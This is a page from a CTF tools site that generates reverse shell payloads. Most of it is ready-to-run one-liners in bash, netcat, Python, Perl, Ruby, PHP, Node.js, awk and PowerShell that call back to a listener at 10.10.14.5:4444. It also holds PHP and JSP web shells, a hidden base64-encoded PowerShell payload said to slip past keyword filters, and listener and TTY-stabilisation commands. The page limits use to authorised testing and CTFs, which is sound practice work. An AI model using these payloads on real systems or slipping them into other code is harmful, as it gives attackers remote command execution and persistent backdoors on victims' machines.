Tools / Reverse Shell Generator
Reverse Shell Generator
Set listener IP, port, and target shell once. Every payload below - bash, nc with mkfifo, python, perl, ruby, PHP, Node, PowerShell, awk, plus matching listeners -updates instantly. Use only on systems you are explicitly authorized to test (CTFs, your own labs, engagements with written scope).
Shell
- bash (/dev/tcp)
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
- bash (subshell wrapper)
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
- bash via base64
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQ== | base64 -d | bash
- nc (mkfifo, classic)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f
- nc -e (when available)
nc 10.10.14.5 4444 -e /bin/bash
- ncat --ssl
ncat --ssl 10.10.14.5 4444 -e /bin/bash
Scripting
- Python 3 (pty)
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")' - Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' - Perl
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' - Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.14.5","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' - PHP
php -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/bash <&3 >&3 2>&3");' - Node.js
node -e '(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/bash",[]);var c=new net.Socket();c.connect(4444,"10.10.14.5",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});})();' - Awk
awk 'BEGIN {s = "/inet/tcp/0/10.10.14.5/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Web
- PHP web shell (one-liner)
<?php system($_GET["cmd"]); ?>
- JSP web shell
<%@ page import="java.util.*,java.io.*"%><%if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String s;while((s=br.readLine())!=null) out.println(s);}%>
Windows
- PowerShell (TCP one-liner)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"Runs on Windows PowerShell / pwsh. The Unix shell selector does not apply.
- PowerShell (-EncodedCommand)
powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
Base64 of the UTF-16LE script. Survives quoting and basic keyword filters.
Listener
- Listener: nc
nc -lvnp 4444
- Listener: socat (PTY)
socat file:`tty`,raw,echo=0 tcp-listen:4444
- Listener: pwncat-cs
pwncat-cs -lp 4444
- Stabilize TTY (after callback)
python3 -c 'import pty; pty.spawn("/bin/bash")' && export TERM=xterm && stty raw -echo; fg
Quick reference
Start a listener first, then trigger the payload from the target. The classic flow:
- On your box:
nc -lvnp 4444. - On the target: trigger any of the payloads (typically the bash TCP one if
/dev/tcpis available, or the python3 PTY variant if not). - After callback, stabilize the TTY with the listed command so Ctrl-C and arrow keys work.
If the payload is going through a URL parameter or HTTP header, run it through the URL Encoder first; if it goes through a JSON body, the Base64 tool is handy for wrapping the inner shell command. For Flask-based RCE chains, also check the Flask Session Decoder to confirm session state before/after.
Challenges that use this tool
- 3v@lpicoCTF 2025 · Web Exploitation · Medium
- Apriti sesamopicoCTF 2025 · Web Exploitation · Medium
- n0s4n1ty 1picoCTF 2025 · Web Exploitation · Easy
- SSTI1picoCTF 2025 · Web Exploitation · Easy
- SSTI2picoCTF 2025 · Web Exploitation · Medium
- caaspicoMini by redpwn · Web Exploitation · Medium
Challenges where it helps
- ABSOLUTE NANOpicoCTF 2026 · General Skills · Medium
- ping-cmdpicoCTF 2026 · General Skills · Easy
- SUDO MAKE ME A SANDWICHpicoCTF 2026 · General Skills · Easy
- UndopicoCTF 2026 · General Skills · Easy
- hash-only-1picoCTF 2025 · Binary Exploitation · Medium
- hash-only-2picoCTF 2025 · Binary Exploitation · Medium
Browse the full challenge library for 15 more.
Guides that use this tool
- Race Conditions and TOCTOU for CTF: Winning the Window Between Check and UseHow to find, widen and win race conditions in CTF: symlink TOCTOU on SUID binaries, limit-overrun bugs in web apps, signal races, and mempool front-running.
- Setting Up a CTF Environment: WSL, Linux, Docker, and the Core ToolkitBuild a CTF machine that works: choosing WSL2, a VM, or native Linux, the toolkit worth installing per category, Python setup, and safe binary handling.
- The picoCTF General Skills Roadmap: The Category Everything Else Rests OnGeneral Skills roadmap for picoCTF: a tiered path through the shell, file inspection, encodings, scripting, remote services, git, and permissions.
- Bash Scripting for CTF Automation: Loops, Pipes, and Brute-Force HarnessesBash scripting for CTF automation: brute-force loops, curl and nc fuzzers, grep/awk/sed filtering, xargs parallelism, and a reusable solve.sh you can copy.
- Python Sandbox Bypass for CTF: The Filter-Breaker PlaybookEvery Python pyjail filter can be broken. Learn string surgery, MRO traversal, breakpoint(), and namespace hijacking with picoCTF receipts.
- Linux Privilege Escalation for CTFA decision-tree playbook for Linux privilege escalation in CTF and OSCP: enumeration, sudo, SUID, capabilities, PATH, cron, LD_PRELOAD with picoCTF receipts.
Tools that pair with this one
- URL Encoder / DecoderEncode and decode URL-encoded (percent-encoded) strings. Useful for web exploitation challenges involving query parameters, form data, and HTTP headers.
- Base64 & Base32 DecoderDecode Base64 and Base32 strings with auto-detection. Multi-layer mode unwraps nested encodings automatically.
- SQL Injection Payload GeneratorGenerate SQL injection payloads for auth bypass, UNION extraction, blind SQLi, NoSQL operator injection, and sqlmap commands. Supports MySQL, PostgreSQL, SQLite, and MSSQL.
- Pwntools ForgeGenerate a complete pwntools exploit script from a template: ret2win, shellcode, ret2libc, ROP chain, format string, or blank scaffold. Fill the form, copy or download the .py file. Fully editable before saving.
Or browse all 40 CTF tools.